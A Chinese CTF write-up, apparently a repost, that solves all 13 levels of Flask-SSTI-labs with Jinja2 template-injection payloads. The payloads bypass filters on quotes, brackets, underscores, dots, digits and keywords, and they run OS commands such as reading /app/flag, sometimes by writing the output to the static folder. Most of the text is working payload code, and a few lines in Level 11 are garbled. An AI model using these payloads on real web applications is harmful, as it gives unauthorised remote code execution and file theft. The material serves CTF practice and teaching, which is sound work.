CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

文章目录

  • CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记
    • 前记
      • 获取键值或下标的方式
      • 获取属性的方式
    • Level 1 no waf
    • Level 2 bl['\{\{']
    • Level 3 no waf and blind
    • Level 4 bl['[', ']']
      • 获取键值或下标
    • Level 5 bl['\'', '"']
    • Level 6 bl['_']
    • Level 7 bl['.']
    • Level 8 bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]
    • Level 9 bl['0-9']
    • Level 10 set config = None
    • Level 11 bl['\'', '"', '+', 'request', '.', '[', ']']
      • ban 了 `' " request'`思考如何返回字符串?
      • 如果我们读flag 目录路径有 空格+ 斜杠 如何处理?
    • Level 12 bl['_', '.', '0-9', '\\', '\'', '"', '[', ']']
      • 获取下划线(空格)的两种方式
    • Level 13 bl['_', '.', '\\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']
  • 总结

前记

搭建环境

建议用nssctf在线 https://www.nssctf.cn/problem/13 直接用

以下题目我用简洁的payload 绕过{{lipsum.__globals__['os'].popen('ls').read()}}

其中lipsum为 flask框架 内置函数 通用

以下内容熟记 (因为绕过本质无非是换种形式表达相同的含义)

获取键值或下标的方式

dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)

获取属性的方式

().__class__
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")

Level 1 no waf

{{lipsum.__globals__['os'].popen('cat /app/flag').read()}}

image-20240313103230658

Level 2 bl[‘{{’]

{%%}可以用来声明变量,当然也可以用于循环语句和条件语句。
{{}}用于将表达式打印到模板输出
{##}表示未包含在模板输出中的注释
\##可以有和{%%}相同的效果

{{}} 等价于 {%print%}

image-20240313103609026

Level 3 no waf and blind

盲注

第一 判断出不出网

{{lipsum.__globals__['os'].popen('ls').read()}}

image-20240313103912097

发现不出网

尝试写静态文件 请先了解 flask 静态目录概念

{{lipsum.__globals__['os'].popen('echo "test" >/app/static/1.txt').read()}}

image-20240313104107242

成功写入static静态目录

读取flag

{{lipsum.__globals__['os'].popen('echo `cat /app/flag` >/app/static/1.txt').read()}}

image-20240313104340387

Level 4 bl[‘[’, ‘]’]

{{lipsum.__globals__['os'].popen('ls').read()}}

获取键值或下标

dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)

替换一下

{{lipsum.__globals__.get('os').popen('ls').read()}}

image-20240313104659478

Level 5 bl[‘’', ‘"’]

过滤引号

{{lipsum.__globals__['os'].popen('ls').read()}}

完全可以替换为 request.args.参数名(get方式)

{{lipsum.__globals__[request.args.x1].popen(request.args.x2).read()}}

image-20240313104932040

Level 6 bl[‘_’]

{{lipsum.__globals__['os'].popen('ls').read()}}

可以编码绕过 python解析器支持 hex ,unicode编码 (不建议用base64仅python2支持)

{{lipsum['\x5f\x5fglobals\x5f\x5f']['os'].popen('cat /app/flag').read()}}

image-20240313105405632

Level 7 bl[‘.’]

{{lipsum.__globals__['os'].popen('ls').read()}}

用[] 代替 . 其他方法 参考 获取属性的四种方法

{{lipsum['__globals__']['os']['popen']('ls')['read']()}}

image-20240313105713573

Level 8 bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]

过滤了很多关键词

{{lipsum.__globals__['os'].popen('ls').read()}}

编码绕过和拼接不能同时使用 试错报错

{{lipsum['__glob''als__']['os']['pop''en']('ls').read()}}

在这里插入图片描述

Level 9 bl[‘0-9’]

{{lipsum.__globals__['os'].popen('ls').read()}}

我们没用 数字

image-20240313111351943

Level 10 set config = None

image-20240313111515681

通过 current_app取config

{{url_for.__globals__['current_app'].config}}

在这里插入图片描述

Level 11 bl[‘’', ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’]

ban 了 ' " request'思考如何返回字符串?

通过过滤器 | join 返回变量

ban 了 . []如何取属性 ?

通过 |attr()

如何取键值 ?

通过 __getitem__('key')

然后用 {%set %}拼接

{{lipsum.__globals__['os'].popen('ls').read()}}

{{lipsum.__globals__['os'].popen('ls').read()}}
a.构造__globals__
{%set a=dict(__glo=a,bals__=a)|join%}b.构造os
{%set b=dict(o=a,s=a)|join%}c.构造popen
{%set c=dict(po=a,pen=a)|join%}cmd.构造ls
{%set cmd=dict(l=a,s=a)|join%}d.构造read
{%set d=dict(re=a.ad=a)|join%}e.构造__getitem__
{%set e=dict(__ge=a,titem__=a)|join%} f.构造__builtins__
{%set f=dict(__buil=a,tins__=a)%}g.构造 chr 字符
{%set ch=dict(ch=a,r=a)|join%}{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

就是

{%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set cmd=dict(l=a,s=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%} 
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

image-20240313113208849

如果我们读flag 目录路径有 空格+ 斜杠 如何处理?

['__builtins__']['chr']函数 用ascii表 转换为字符

原payload:{{lipsum.__globals__['__builtins__']['chr']}}

附字符转chr脚本 记下 32 为空格 47为斜杠

i= input("输入字符串:")
flag=""
for c in i:c= ord(c)b="chr(%d)" %(c)flag +=b+'%2b'
print(flag[0:-3:1])

修改payload

构造细节

{{lipsum.__globals__['os'].popen('ls').read()}}
a.构造__globals__
{%set a=dict(__glo=a,bals__=a)|join%}b.构造os
{%set b=dict(o=a,s=a)|join%}c.构造popen
{%set c=dict(po=a,pen=a)|join%}cmd.构造ls
{%set cmd=dict(l=a,s=a)|join%}d.构造read
{%set d=dict(re=a,ad=a)|join%}e.构造__getitem__
{%set e=dict(__ge=a,titem__=a)|join%} f.构造__builtins__
{%set f=dict(__buil=a,tins__=a)|join%}ch.构造 chr 字符
{%set ch=dict(ch=a,r=a)|join%}chh.构造 chr 函数
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
code={%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%} 
{%set f=dict(__buil=a,tins__=a)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd=(dict(ca=a,t=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join,chh(47),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

image-20240313115508151

Level 12 bl[‘_’, ‘.’, ‘0-9’, ‘\’, ‘’', ‘"’, ‘[’, ‘]’]

相比上一题

过滤了下划线和数字

获取下划线(空格)的两种方式

  1. 通过截取 环境字符

  2. 通过 chr函数 转化

取下划线 测试

{{()|select|string|list}}

image-20240313210707762

返回字符 可以通过下标取到结果

{%set p=dict(po=a,p=a)|join%}
{{()|select|string|list|attr(p)(24)}}

但是这里禁止了数字0-9

可以通过过滤器 | length 或者| count取到

数字24

用python生成24个字符 python -c "print('a'*24)"

image-20240313211030139

aaaaaaaaaaaaaaaaaaaaaaaa

取下划线 _

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{{()|select|string|list|attr(p)(numa)}}

在这里插入图片描述

延用上关的payload进行修改

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(numa)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set cmd=(dict(ca=a,t=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join,chh(numc),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

注意一下 不能单独

{%set a=dict(glob=a,als=a)|join%}
{%set ac=(xhx,xhx,a,xhx,xhx)|join%} //这是失败的

//还必须一起写(不然没法取完整下划线)

image-20240313213401782

Level 13 bl[‘_’, ‘.’, ‘\’, ‘’', ‘"’, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[’, ‘]’]

沿用上关payload 嘿嘿

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(numa)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set cmd=(dict(ca=a,t=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join,chh(numc),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

image-20240313213530349

总结

我们想像一下假如出题人 比较细节 完全可以把flask内置函数lipsum,config,url_for都禁了

我们要这么办?

既然是ssti漏洞专门设计的CTF题 一定有解

恰好如果ssti ban了() 那么将没有办法做

我们完全可以从源字符取

例如

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()}}

取chr函数可以通过

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['chr']}}

相信自己,即使自己手动构造比较复杂,一步一步来,是可以完成的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/549166.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redis 过期删除策略和内存淘汰策略有什么区别?

资料来源 : 小林coding 小林官方网站 : 小林coding (xiaolincoding.com) Redis 的「内存淘汰策略」和「过期删除策略」,很多小伙伴容易混淆,这两个机制虽然都是做删除的操作,但是触发的条件和使用的策略都是不同的。 今天就跟大家理一理&…

webpack5零基础入门-11处理html资源

1.目的 主要是为了自动引入打包后的js与css资源,避免手动引入 2.安装相关包 npm install --save-dev html-webpack-plugin 3.引入插件 const HtmlWebpackPlugin require(html-webpack-plugin); 4.添加插件(通过new方法调用) /**插件 *…

【AAAI 2024】MuLTI:高效视频与语言理解

一、背景 1.1 多模态的发展 多模态理解模型具有广泛的应用,比如多标签分类(Classification)、视频问答(videoQA)和文本视频检索(Retrieval)等。现有的方法已经在视频和语言理解方面取得了重大…

从零开始学习深度学习库-4:自动微分

欢迎来到本系列的第四部分,在这里我们将讨论自动微分 介绍 自动微分(Automatic Differentiation,简称AD)是一种计算数学函数导数(梯度)的技术。在深度学习和其他领域中,自动微分是一种极其重要…

Ubuntu 搭建gitlab服务器,及使用repo管理

一、GitLab安装与配置 GitLab 是一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,并在此基础上搭建起来的Web服务。 1、安装Ubuntu系统(这个教程很多,就不展开了)。 2、安装gitlab社区版本,有需…

二、SQL基础学习(函数、约束、事务)

目录 1、函数1.1、字符串函数1.2、数值函数1.3、日期函数1.4 、流程函数 2、约束2.1、外键约束2.2、删除/更新行为 3、事务3.1、事务的四大特性3.2、并发事务问题3.2、事务的隔离级别 1、函数 1.1、字符串函数 # concat select concat(Hello, MySql);# lower select lower(He…

Linux操作系统的安全相关介绍

Linux操作系统的安全模型、访问控制、安全策略和加密机制是确保系统安全的重要组成部分。下面将详细介绍这些方面。 安全模型 Linux操作系统的安全模型基于传统的Unix安全模型,主要包括以下核心概念: 1. **用户和组**:Linux系统中的每…

外贸网站文章批量生成器

随着全球贸易的不断发展,越来越多的企业开始关注外贸市场,而拥有高质量的内容是吸引潜在客户的关键之一。然而,为外贸网站生产大量优质的文章内容可能是一项耗时且繁琐的任务。因此,外贸网站文章批量生成软件成为了解决这一难题的…

elk收集k8s微服务日志

一、前言 使用filebeat自动发现收集k8s的pod日志,这里分别收集前端的nginx日志,还有后端的服务java日志,所有格式都是用json格式,建议还是需要让开发人员去输出java的日志为json,logstash分割java日志为json格式&#…

如何选择合适的数据可视化工具?

如果是入门级的数据可视化工具,使用Excel插件就足够了! Excel插件,tusimpleBI 是一款 Excel 图表插件,提供超过120项图表功能,帮助用户制作各种 Excel 所没有的高级图表,轻轻松松一键出图。 它能够制作10…

Apache FtpServer在Windows上下载安装与使用

Apache FtpServer在Windows上下载安装与使用 1、Apache Ftp Server下载 进入apache官网 https://mina.apache.org/ftpserver-project/old-downloads.html 下载自己使用的版本。 Apache FtpServer 1.1.1及以下的版本需要JDK1.7的支持 Apache FtpServer 1.1.1以上的版本需要JDK…

【数据挖掘】实验3:常用的数据管理

实验3&#xff1a;常用的数据管理 一&#xff1a;实验目的与要求 1&#xff1a;熟悉和掌握常用的数据管理方法&#xff0c;包括变量重命名、缺失值分析、数据排序、随机抽样、字符串处理、文本分词。 二&#xff1a;实验内容 【创建新变量】 方法1&#xff1a; mydata <…